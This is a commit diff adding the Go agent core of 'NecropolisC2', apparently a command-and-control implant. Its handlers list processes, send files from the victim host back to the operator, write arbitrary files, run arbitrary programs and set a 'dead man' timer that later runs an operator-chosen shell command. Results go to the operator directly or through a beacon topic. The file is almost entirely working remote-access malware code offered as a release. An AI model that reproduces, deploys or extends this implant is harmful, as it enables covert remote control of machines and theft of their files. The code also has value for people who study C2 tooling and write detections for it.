Necropolis v1 release
This commit is contained in:
@@ -0,0 +1,317 @@
|
||||
package core
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"errors"
|
||||
"fmt"
|
||||
"io"
|
||||
"log"
|
||||
"os"
|
||||
"os/exec"
|
||||
"path/filepath"
|
||||
"runtime"
|
||||
"time"
|
||||
|
||||
"google.golang.org/protobuf/proto"
|
||||
|
||||
apb "github.com/Yenn503/NecropolisC2/protobuf/apb"
|
||||
cpb "github.com/Yenn503/NecropolisC2/protobuf/cpb"
|
||||
"github.com/Yenn503/NecropolisC2/pkg/transport"
|
||||
)
|
||||
|
||||
func (a *Agent) sendError(msgType uint32, errMsg string) {
|
||||
errResp := &cpb.Response{Err: 1, ErrMsg: errMsg}
|
||||
errData, _ := proto.Marshal(errResp)
|
||||
a.sendResult(msgType, errData)
|
||||
}
|
||||
|
||||
func (a *Agent) sendResult(resultType uint32, data []byte) {
|
||||
env := a.messenger.CreateEnvelope(resultType, data)
|
||||
|
||||
a.connectedMu.Lock()
|
||||
connected := a.connected
|
||||
opID := a.messenger.OperatorID()
|
||||
a.connectedMu.Unlock()
|
||||
|
||||
if connected {
|
||||
if err := a.sendEnvelopeDirect(opID, env); err != nil {
|
||||
log.Printf("[implant] direct result failed, fallback pubsub: %v", err)
|
||||
} else {
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
topic := a.messenger.BeaconTopic()
|
||||
if err := a.messenger.SignAndSend(a.ctx, topic, env); err != nil {
|
||||
log.Printf("[implant] send result: %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
func (a *Agent) handlePs(env *apb.Envelope) {
|
||||
result := &apb.Z13{}
|
||||
result.Processes = listProcesses()
|
||||
data, _ := proto.Marshal(result)
|
||||
log.Printf("[implant] ps result: %d processes", len(result.Processes))
|
||||
a.sendResult(transport.MsgTypePs, data)
|
||||
}
|
||||
|
||||
func (a *Agent) handleDownload(env *apb.Envelope) {
|
||||
req := &apb.Z22{}
|
||||
if err := proto.Unmarshal(env.Data, req); err != nil {
|
||||
a.sendError(transport.MsgTypeDownload, fmt.Sprintf("unmarshal: %v", err))
|
||||
return
|
||||
}
|
||||
|
||||
result := &apb.Z23{Path: req.Path}
|
||||
fi, err := os.Stat(req.Path)
|
||||
if err != nil {
|
||||
result.Exists = false
|
||||
respData, _ := proto.Marshal(result)
|
||||
a.sendResult(transport.MsgTypeDownload, respData)
|
||||
return
|
||||
}
|
||||
const maxDownloadSize = 100 << 20 // 100MB
|
||||
if fi.Size() > maxDownloadSize {
|
||||
result.Exists = true
|
||||
result.Response = &cpb.Response{Err: 1, ErrMsg: "file too large"}
|
||||
respData, _ := proto.Marshal(result)
|
||||
log.Printf("[implant] download %s: too large (%d bytes)", req.Path, fi.Size())
|
||||
a.sendResult(transport.MsgTypeDownload, respData)
|
||||
return
|
||||
}
|
||||
data, err := os.ReadFile(req.Path)
|
||||
if err != nil {
|
||||
result.Exists = false
|
||||
} else {
|
||||
result.Exists = true
|
||||
result.Data = data
|
||||
}
|
||||
|
||||
respData, _ := proto.Marshal(result)
|
||||
log.Printf("[implant] download %s: %d bytes", req.Path, len(data))
|
||||
a.sendResult(transport.MsgTypeDownload, respData)
|
||||
}
|
||||
|
||||
// whole file in one proto message works for the 100MB cap. For larger files,
|
||||
// swap to chunked streaming with a WriteAt loop and per-chunk acks.
|
||||
func (a *Agent) handleUpload(env *apb.Envelope) {
|
||||
req := &apb.Z24{}
|
||||
if err := proto.Unmarshal(env.Data, req); err != nil {
|
||||
a.sendError(transport.MsgTypeUpload, fmt.Sprintf("unmarshal: %v", err))
|
||||
return
|
||||
}
|
||||
|
||||
const maxUploadSize = 100 << 20
|
||||
if len(req.Data) > maxUploadSize {
|
||||
log.Printf("[implant] upload %s: too large (%d bytes)", req.Path, len(req.Data))
|
||||
result := &apb.Z25{
|
||||
Path: req.Path,
|
||||
Response: &cpb.Response{Err: 1, ErrMsg: "file too large"},
|
||||
}
|
||||
respData, _ := proto.Marshal(result)
|
||||
a.sendResult(transport.MsgTypeUpload, respData)
|
||||
return
|
||||
}
|
||||
|
||||
result := &apb.Z25{Path: req.Path}
|
||||
perm := os.FileMode(0644)
|
||||
if req.Overwrite {
|
||||
if err := os.WriteFile(req.Path, req.Data, perm); err != nil {
|
||||
result.Response = &cpb.Response{Err: 1, ErrMsg: err.Error()}
|
||||
} else {
|
||||
result.BytesWritten = int32(len(req.Data))
|
||||
}
|
||||
} else {
|
||||
if _, err := os.Stat(req.Path); err == nil {
|
||||
result.Response = &cpb.Response{Err: 1, ErrMsg: "file already exists"}
|
||||
} else if err := os.WriteFile(req.Path, req.Data, perm); err != nil {
|
||||
result.Response = &cpb.Response{Err: 1, ErrMsg: err.Error()}
|
||||
} else {
|
||||
result.BytesWritten = int32(len(req.Data))
|
||||
}
|
||||
}
|
||||
|
||||
respData, _ := proto.Marshal(result)
|
||||
log.Printf("[implant] upload %s: %d bytes", req.Path, len(req.Data))
|
||||
a.sendResult(transport.MsgTypeUpload, respData)
|
||||
}
|
||||
|
||||
func (a *Agent) handleScreenshot(env *apb.Envelope) {
|
||||
log.Printf("[implant] screenshot requested (not implemented on this platform)")
|
||||
result := &apb.Z3{
|
||||
Response: &cpb.Response{Err: 1, ErrMsg: "screenshot not implemented on this platform"},
|
||||
}
|
||||
data, _ := proto.Marshal(result)
|
||||
a.sendResult(transport.MsgTypeScreenshot, data)
|
||||
}
|
||||
|
||||
func (a *Agent) handleCd(env *apb.Envelope) {
|
||||
req := &apb.Z19{}
|
||||
if err := proto.Unmarshal(env.Data, req); err != nil {
|
||||
a.sendError(transport.MsgTypeCd, fmt.Sprintf("unmarshal: %v", err))
|
||||
return
|
||||
}
|
||||
|
||||
result := &apb.Z21{}
|
||||
if err := os.Chdir(req.Path); err != nil {
|
||||
result.Path = req.Path
|
||||
result.Response = &cpb.Response{Err: 1, ErrMsg: err.Error()}
|
||||
} else {
|
||||
result.Path, _ = os.Getwd()
|
||||
}
|
||||
|
||||
data, _ := proto.Marshal(result)
|
||||
log.Printf("[implant] cd %s -> %s", req.Path, result.Path)
|
||||
a.sendResult(transport.MsgTypeCd, data)
|
||||
}
|
||||
|
||||
func (a *Agent) handlePwd(env *apb.Envelope) {
|
||||
result := &apb.Z21{}
|
||||
result.Path, _ = os.Getwd()
|
||||
|
||||
data, _ := proto.Marshal(result)
|
||||
log.Printf("[implant] pwd: %s", result.Path)
|
||||
a.sendResult(transport.MsgTypePwd, data)
|
||||
}
|
||||
|
||||
func (a *Agent) handleKill(env *apb.Envelope) {
|
||||
log.Printf("[implant] kill received, shutting down")
|
||||
buf := make([]byte, 4096)
|
||||
n := runtime.Stack(buf, false)
|
||||
log.Printf("[implant] kill stack:\n%s", string(buf[:n]))
|
||||
a.sendResult(transport.MsgTypeKill, nil)
|
||||
time.Sleep(100 * time.Millisecond)
|
||||
os.Exit(0)
|
||||
}
|
||||
|
||||
func (a *Agent) handleDeadMan(env *apb.Envelope) {
|
||||
var msg struct {
|
||||
Command string `json:"command"`
|
||||
Timeout int `json:"timeout_seconds"`
|
||||
}
|
||||
if err := json.Unmarshal(env.Data, &msg); err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
a.deadManCmd = msg.Command
|
||||
a.deadManTimeout = time.Duration(msg.Timeout) * time.Second
|
||||
|
||||
if a.deadManTimer != nil {
|
||||
a.deadManTimer.Stop()
|
||||
}
|
||||
if a.deadManCmd == "" || a.deadManTimeout <= 0 {
|
||||
a.deadManTimer = nil
|
||||
return
|
||||
}
|
||||
|
||||
a.deadManTimer = time.AfterFunc(a.deadManTimeout, func() {
|
||||
var cmd *exec.Cmd
|
||||
if runtime.GOOS == "windows" {
|
||||
cmd = exec.Command("cmd.exe", "/c", a.deadManCmd)
|
||||
} else {
|
||||
cmd = exec.Command("sh", "-c", a.deadManCmd)
|
||||
}
|
||||
cmd.Run()
|
||||
})
|
||||
}
|
||||
|
||||
func (a *Agent) handleLs(env *apb.Envelope) {
|
||||
req := &apb.Z16{}
|
||||
if err := proto.Unmarshal(env.Data, req); err != nil {
|
||||
a.sendError(transport.MsgTypeLs, fmt.Sprintf("unmarshal: %v", err))
|
||||
return
|
||||
}
|
||||
|
||||
result := &apb.Z17{Path: req.Path}
|
||||
fi, err := os.Stat(req.Path)
|
||||
if err != nil {
|
||||
result.Exists = false
|
||||
} else {
|
||||
result.Exists = true
|
||||
if fi.IsDir() {
|
||||
entries, err := os.ReadDir(req.Path)
|
||||
if err != nil {
|
||||
result.Exists = false
|
||||
} else {
|
||||
for _, e := range entries {
|
||||
info, _ := e.Info()
|
||||
entry := &apb.Z18{
|
||||
Name: e.Name(),
|
||||
IsDir: e.IsDir(),
|
||||
}
|
||||
if e.Type()&os.ModeSymlink != 0 {
|
||||
link, _ := os.Readlink(filepath.Join(req.Path, e.Name()))
|
||||
entry.Link = link
|
||||
}
|
||||
if info != nil {
|
||||
entry.Size = info.Size()
|
||||
entry.ModTime = info.ModTime().Unix()
|
||||
entry.Mode = info.Mode().String()
|
||||
}
|
||||
result.Files = append(result.Files, entry)
|
||||
}
|
||||
}
|
||||
} else {
|
||||
entry := &apb.Z18{
|
||||
Name: fi.Name(),
|
||||
IsDir: false,
|
||||
Size: fi.Size(),
|
||||
ModTime: fi.ModTime().Unix(),
|
||||
Mode: fi.Mode().String(),
|
||||
}
|
||||
if fi.Mode()&os.ModeSymlink != 0 {
|
||||
link, _ := os.Readlink(req.Path)
|
||||
entry.Link = link
|
||||
}
|
||||
result.Files = append(result.Files, entry)
|
||||
}
|
||||
}
|
||||
|
||||
data, _ := proto.Marshal(result)
|
||||
log.Printf("[implant] ls %s: %d entries", req.Path, len(result.Files))
|
||||
a.sendResult(transport.MsgTypeLs, data)
|
||||
}
|
||||
|
||||
func (a *Agent) handleExecute(env *apb.Envelope) {
|
||||
req := &apb.Z14{}
|
||||
if err := proto.Unmarshal(env.Data, req); err != nil {
|
||||
a.sendError(transport.MsgTypeExecute, fmt.Sprintf("unmarshal: %v", err))
|
||||
return
|
||||
}
|
||||
|
||||
result := &apb.Z15{}
|
||||
if req.Output {
|
||||
cmd := exec.CommandContext(a.ctx, req.Path, req.Args...)
|
||||
out, err := cmd.CombinedOutput()
|
||||
if err != nil {
|
||||
var exitErr *exec.ExitError
|
||||
if errors.As(err, &exitErr) {
|
||||
result.Status = uint32(exitErr.ExitCode())
|
||||
} else {
|
||||
result.Status = 1
|
||||
}
|
||||
result.Stderr = []byte(err.Error())
|
||||
}
|
||||
result.Stdout = out
|
||||
} else {
|
||||
cmd := exec.Command(req.Path, req.Args...)
|
||||
cmd.Stdout = io.Discard
|
||||
cmd.Stderr = io.Discard
|
||||
if err := cmd.Start(); err != nil {
|
||||
var exitErr *exec.ExitError
|
||||
if errors.As(err, &exitErr) {
|
||||
result.Status = uint32(exitErr.ExitCode())
|
||||
} else {
|
||||
result.Status = 1
|
||||
}
|
||||
result.Stderr = []byte(err.Error())
|
||||
} else {
|
||||
result.Pid = uint32(cmd.Process.Pid)
|
||||
go cmd.Wait()
|
||||
}
|
||||
}
|
||||
|
||||
data, _ := proto.Marshal(result)
|
||||
log.Printf("[implant] execute %s: exit=%d stdout=%d", req.Path, result.Status, len(result.Stdout))
|
||||
a.sendResult(transport.MsgTypeExecute, data)
|
||||
}
|
||||
Reference in New Issue
Block a user